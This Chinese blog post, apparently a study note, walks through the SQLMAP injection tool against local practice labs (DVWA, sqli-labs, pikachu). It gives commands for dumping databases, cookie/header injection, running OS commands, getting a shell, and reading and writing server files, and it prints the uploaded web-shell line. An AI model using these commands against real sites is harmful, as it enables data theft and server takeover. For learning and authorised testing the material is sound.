zoukankan      html  css  js  c++  java
  • 【SQL注入】之SQLMAP工具的使用

    (本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)

    一、介绍

    1.SQL注入工具:明小子、啊D、罗卜头、穿山甲、SQLMAP等等

    2.SQLMAP:使用python开发,开源自动化注入利用工具,支持12种数据库 ,在/plugins/dbms中可以看到支持的数据库种类,在所有注入利用工具中它是最好用的!!!

    3.支持的注入类型:bool、time、报错、union、堆查询、内联

    4.功能:

    • 可以获取用户名、密码、权限、角色、数据库(表、字段、内容)
    • 可以爆破识别密文数据
    • getshell(反弹shell)
    • 命令执行
    • 脱库或删库

    二、SQLMAP的目录介绍:

    目录 介绍
    doc 介绍文档
    extra sqlmap额外的功能,运行cmd、执行命令
    lib sqlmap 的核心功能代码
    plugins 包含12种数据库的识别程序
    data 存放一些攻击过程种使用的工具或者命令
    /data/procs 包含了mssql、mysql、oracle、postgresql这四种数据库的触发程序
    /data/shell 远程命令、后门
    /data/txt 表名、列名、UA字典
    /data/udf 存放攻击载荷(payload)
    /data/XML 存放检测脚本(payload)
    tamper 包含各种绕过WAF的处理脚本
    thirdparty 包含第三方插件,如颜色、优化等等
    waf 识别WAF的脚本

     

    三、SQLMAP的工作流程

    1.初始化

    1 salmap -v  查看版本
    2 salmap --update  更新

    2.开始检测

    • 检测之前是否注入过(会把当前检测URL 默认存放在用户家目录中.sqlmap下的output),使用--output-dir可指定存放的目录
    • 解析URL,判断URL是否可访问
    • 检测是否有WAF
    sqlmap -u "目标url" --identify-waf
    sqlmap -u "目标url" --check-waf
    • 执行用户输入的参数
     1 -u  指定URL
     2 -p  指定参数
     3 -v  指定显示级别
     4 --dbs  目标服务器中的数据库
     5 --current-db  当前数据库
     6 --tables  目标数据库有什么表
     7 --columns  目标表中有什么列
     8 --dump  获取数据
     9 --batch  跳过问询(yes)之间执行,批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值
    10 --dbms  指定数据库类型
    11 --current-user  查看当前用户
    12 --users  查看所有用户
    13 --passwords  数据库密码
    14 --hostname  系统名称
    15 --banner  数据库信息
    16 --roles  数据库用户角色
    17 等等

    四、步骤详解

    • GET型注入的SQLMAP利用方法:

    1.判断是否有注入点

    sqlmap -u "目标url"
    • 当看到探测的结果中有没有环境参数(系统类型和数据库类型),则表明有注入

    2.查看所有数据库

    1 sqlmap -u "目标_url" --dbs --dbms mysql
    2     --dbms=DBMS 指定目标数据库类型

    3.获取当前数据库

    sqlmap -u "目标_url" --current-db --dbms mysql

    4.获取当前数据库下表

     1 sqlmap -u "目标_url" -D 库名 --dbms mysql --tables --batch -v
     2     -D DB 指定从某个数据库查询数据
     3     -v 显示信息的级别,一共有六级:
     4         0:只显示python 错误和一些严重信息
     5         1:显示基本信息(默认)
     6         2:显示debug信息
     7         3:显示注入过程的payload
     8         4:显示http请求包
     9         5:显示http响应头
    10         6:显示http相应页面    

    5.获取当前数据库中指定表下的字段

    1 sqlmap -u "目标url" -D 库名 -T 表名 --columns
    2     -T TBL 指定从某个表查询数据

    6.获取指定字段对应的数据内容

    1 sqlmap -u "目标url" -D 库名 -T 表名 -C 字段名1,字段名2,等等 --dump
    2     -C COL 指定从某个列查询数据
    3     --dump 查询指定范围的全部数据
    4         (对加密的密码进行彩虹表攻击)

    五、SQLMAP工具测试

    • GET型 ,测试使用DVWA中的SQL Injection模块(Low级别)

    1.检测是否有注入点

    sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"

    • 翻译(注入过程中询问的内容)

    sqlmap got a 302 redirect to 'http://127.0.0.1:80/dvwa/login.php'

    sqlmap得到302重定向到“http://127.0.0.1:80/dvwa/login.php”

    you have not declared cookie(s), while server wants to set its own ('PHPSESSID=ua503vlvaom...715dscplg7;security=impossible;security=impossible')

    您尚未声明cookie,而服务器希望设置自己的cookie('phpsessid=ua503vlvaom…715dscplg7;security=impossible;security=impossible')

    • 由上图可知,结果是跳转到登录页面,是需要带cookie的,查到session为nh9elbltn3coe0kgvdnq1l6755在地址栏种输入javascript:alert(document.cookie)查询cookie)

    sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=nh9elbltn3coe0kgvdnq1l6755" --batch
    • POST型注入的SQLMAP利用方法(这种方式GET型数据也可利用):

    1.拦截数据包

    2.将拦截到的数据包保存在post.txt文件里

    • 右键空白处,选择Cope to file

    3.查看post.txt的内容

    4.使用SQLMAP进行检测

    1 python sqlmap.py -r C:UsersadminDesktoppost.txt -p "uname" --batch
    2     -r  读取指定的文件
    3     -p  告诉SQLMAP测试哪个参数

    六、cookie 注入

    1.介绍:数据经过cookie发送给服务器,cookie可以传输参数,并且有注入点

    2.cookie型注入利用方法(测试使用sqli-labs第20关):

    • 抓取的数据包来源于下面的界面

    • 将抓取到的数据包发送到Repeater模块中,Go一下,查看回显

    • 检测注入点

    • 将此数据包保存在post_cookie.txt文件里(这个数据类型是GET型,当时写错了)

    • 使用SQLMAP进行检测
    python sqlmap.py -r C:UsersadminDesktoppost_cookie.txt --cookie "uname=12" --level 2
        --level=LEVEL  执行测试的等级(1-5,默认是1,lv2:cookie; lv3:user-agent,refere; lv5:host 在sqlmap/xml/payloads文件内可以看见各个level发送的payload)
    或sqlmap.py -r C:UsersadminDesktoppost_cookie.txt --level 2

      • 从回显中可以看到,SQLMAP自动将获取到的数据记录到了一个目录下,进入到该目录下的127.0.0.1中,该目录下的log记录的检查出的结果

    七、XFF注入

    • 注入基本过程(方法与cookie注入类似)

    1.拦包

    2.使用SQLMAP检查注入点

    • GET型数据:
    sqlmap -u “目标URL” -p “x-forwarded-for” -level 3
    • POST型数据:
    sqlmap -r post_xff.txt --level 3

    八、UA注入

    • 测试使用sqli-labs第18关
    • 注入基本过程(方法与cookie注入类似)

    1.拦包

    2.使用SQLMAP检查注入点

    • GET型数据:
    sqlmap -u “目标URL” -p “user-agent” -level 3 
    • POST型数据:
    1 sqlmap -r post_ua.txt --level 3 --dbms mysql --batch
    2   --dbms  指定目标数据库类型
    3 sqlmap -r post_ua.txt --level 3 --current-user
    4   --current-user  查看当前用户

    九、SQLMAP注入点执行系统命令或交互式shell

    1.条件:

    • 数据库有读写文件的权限
    • 需要知道WEB站点的路径(可使用select @@datadir)

    2.使用SQLMAP执行系统命令

    1 sqlmap.py -u “目标URL” --os-cmd=ipconfig
    2     --os-cmd=OSCMD 执行一句系统命令
    3 sqlmap -r post_ua.txt --level 3 --os-cmd=ipconfig  执行系统命令ipconfig
    4 sqlmap -r post_ua.txt --level 3 --os-shell  获取系统的shell
    5 sqlmap -r post_ua.txt --level 3 --is-dba  判断当前用户是否为管理员

    十、延时注入

    1 sqlmap.py -u "目标url"  --delay 2
    2     --delay 2 延时2S注入

    十一、执行数据库命令

    • 命令:
    1 --sql-query=QUERY  执行一个sql语句
    2 --sql-shell 创建一个sql的shell(获取一个交互式的数据库终端)
    3 --sql-file=SQLFILE  执行一个给定文件中的sql语句
    • 注入利用:
      • 测试使用pikachu里的sqli中字符型注入(需要在Github中查找资源并搭建)

    1.浏览网站pikachu,http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询

    2.使用SQLMAP检测注入点

    sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询" --batch

    3.根据回显存在注入点,使用SQLMAP执行数据库命令

    sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询" -p name --dbms mysql --os-cmd=whoami
    • 在下图红框内可以看到系统命令被正常执行

      • 翻译(注入过程中询问的内容):

    Web服务器支持哪种Web应用程序语言?

    [1]asp

    [2]ASPX

    [3]jsp

    [4]php(默认)

    >4

    是否希望sqlmap进一步尝试触发完整路径泄漏?[是/否]是

    [21:34:02][警告]无法自动检索Web服务器文档根目录

    要将什么用于可写目录?

    [1]公共位置(C:/xampp/htdocs/,C:/wamp/www/,C:/inetpub/wwwroot/')(默认)

    [2]自定义位置

    [3]自定义目录列表文件

    [4]蛮力搜索

    >2

    是否要检索命令标准输出?[是/否/否]是

    命令标准输出:“desktop-18q770sadmin”

    请提供一个逗号分隔的绝对目录路径列表:f:phpstudy_64phpstudy_Prowww//路径需要自己输入

    4.获取一个交互式的数据库终端

    sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询" -p name --dbms mysql --os-shell

    • 在注入过程中会自动生成后门文件

      • 翻译:

    [21:40:33][info]文件暂存器已成功上载到“f:/phpstudy_64/phpstudy_Pro/www/”-http://127.0.0.1:80/tmpupjuy.php

    [21:40:33][info]后门已成功上载到“f:/phpstudy_64/phpstudy_Pro/www/”-http://127.0.0.1:80/tmpbaqhn.php

      • 在浏览器中两个文件访问查看效果

        • http://127.0.0.1/tmpupjuy.php   辅助工具,用来上传木马

        • http://127.0.0.1/tmpbaqhn.php 木马

          •  其内容为:
    <?php $c=$_REQUEST["cmd"];
          • 浏览http://127.0.0.1/tmpbaqhn.php?cmd=whoami,可以看到其功能

    十二、SQLMAP 直连mysql数据库

    1 python sqlmap.py -d "mysql://root:root@目标IP:3306/mysql" -f --banner --dbs --users
    2     -f, --fingerprint  指纹信息,返回DBMS,操作系统,架构,补丁等信息
    3     --hostname  获取系统信息
    4     --banner  获取数据库信息
    5     --roles  获取数据库用户角色

    十三、sqlmap注入利用Access

    1.Access数据库:没有库的概念,打开数据库文件看到只有表和字段以及内容

    2.Access注入过程(注意其特性,只有表和表下的字段内容):

    • 先探测注入点
    • 获取数据库表
    sqlmap.py -u "目标url" --tables  获取所有的数据表
    • 获取字段
    sqlmap.py -u "目标url" -T 表名 --columns  获取字段
    • 获取字段内容
    sqlmap.py -u "目标url" -T 表名 -C 字段名 --dump  获取字段内容

    十四、SQLMAP结合BP日志进行被动式注入发现

    • 测试在pikachu里的sqli中数字型注入

    1.开启BP2.1的日志记录功能,并将日志内容保存到桌面log.txt中

    • 勾选后会弹出下面的窗口,我选择的是已经建好的文件log.txt,弹出警告,选择Yes即可

    2.抓包

    3.在浏览器中多进行几次提交,需要提前关闭BP中的Intercept is on,然后打开log.txt,浏览器提交的数据全部进入到了log.txt中

    4.使用SQLMAP进行检测

    1 sqlmap.py -l C:UsersadminDesktoplog.txt --batch
    2     -l 后接一个log文件,可以是burp等的代理的log文件,之后sqlmap会扫描log中的所有记录

    • 翻译(最后一句):

    您可以在csv文件“c: usersadminappdatalocalsqlmapoutput esults-10302019_1119pm.csv”中找到以多目标模式扫描的结果。

    5.打开results-10302019_1119pm.csv文件,可知该URL中存在的注入类型

    (Parameter:参数  Technique:技术)

    • SQLMAP指定测试注入的技术:
    1 python sqlmap.py -u “目标URL” -dbms mysql --technique=T
    2     --technique=TECH 指定所使用的技术(B:布尔盲注;E:报错注入;U:联合查询注入;S:文件系统,操作系统,注册表相关注入;T:时间盲注; 默认全部使用)
    3         B: Boolean-based blind SQL injection(布尔型注入)
    4         E: Error-based SQL injection(报错型注入)
    5         U: UNION query SQL injection(可联合查询注入)
    6         S: Stacked queries SQL injection(可多语句查询注入)
    7         T: Time-based blind SQL injection(基于时间延迟注入)
    8         Q: inline_query SQL injection(内联注入)

    十五、SQLMAP读写文件

    • 命令:
    1 --file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
    2 --file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
    3 --file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
    • 测试使用pikachu里的sqli中字符型注入

    1.使用SQLMAP读文件

    sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询" -p name --dbms mysql --file-read="F:phpStudy_64phpstudy_proWWWPDO_kuanjiezi.php"

    • 译:

    正在获取文件:“f:/phpstudy_64/phpstudy_Pro/www/pdo_kuanjiezi.php”

    是否确认已从后端DBMS文件系统成功下载远程文件“f:/phpstudy_64/phpstudy_Pro/www/pdo_kuanjiezi.php”?[是/否]是

    [23:57:05][info]本地文件'c: usersadminappdatalocalsqlmapoutput127.0.0.1filesf_u phpstudy_u phpstudy_u pro_www_u kuanjiezi.php'和远程文件'f:/phpstudy_u 64/phpstudy_u pro/www/pdo_u kuanjiezi.php'具有相同的大小(988b)

    文件保存到[1]:

    C:UsersadminAppDataLocalsqlmapoutput127.0.0.1files

    [23:57:05][info]获取的数据记录到文本文件中,位于“C:usersadminappdatalocalsqlmapoutput127.0.0.1”

    •  进入C:usersadminappdatalocalsqlmapoutput127.0.0.1目录下,里面有读取到的文件的记录,使用SQLMAP读取文件成功

    2.使用SQLMAP写文件

    • 新建log.txt文件,并写入以下内容

    • 使用SQLMAP写文件
    sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询" -p name --dbms mysql --file-dest="F:phpStudy_64phpstudy_proWWWloglog.php(目标服务器中的文件,绝对路径)" --file-write="C:UsersadminDesktoplog.txt(攻击者电脑中的文件路径)"

      • 翻译:

    是否要确认本地文件“c:/users/admin/desktop/log.txt”已成功写入后端DBMS文件系统(“f:/phpstudy_64/phpstudy_Pro/www/loglog.php”)。[是/否]是

    [00:08:58][info]远程文件“f:/phpstudy_64/phpstudy_Pro/www/loglog.php”比本地文件“c:/users/admin/desktop/log.txt”(18b)大(19b)

    [00:08:58][info]获取的数据记录到文本文件中,位于“C:usersadminappdatalocalsqlmapoutput127.0.0.1”下

    • 使用WinHex打开F:/phpstudy_64/phpstudy_Pro/www/loglog.php

    • 使用浏览器进行访问,可以看到使用SQLMAP写入文件成功

  • 相关阅读:
    微信小程序组件loading
    微信小程序组件toast
    微信小程序组件modal
    Thread was being aborted.
    Linux(Contos7.5)环境搭建之Linux远程登录(一)
    Method 'ExecuteAsync' in type 'System.Data.Entity.SqlServer.DefaultSqlExecutionStrategy' does not have an implementation
    Cannot find class [org.springframework.http.converter.json.MappingJacksonHttpMessageConverter]
    Visual Studio 调试时无法命中断点
    springjdbc使用c3p0连接池报错 java.lang.NoClassDefFoundError: com/mchange/v2/ser/Indirector
    JUnit initializationError错误
  • 原文地址:https://www.cnblogs.com/yankaohaitaiwei/p/11802375.html
Copyright © 2011-2022 走看看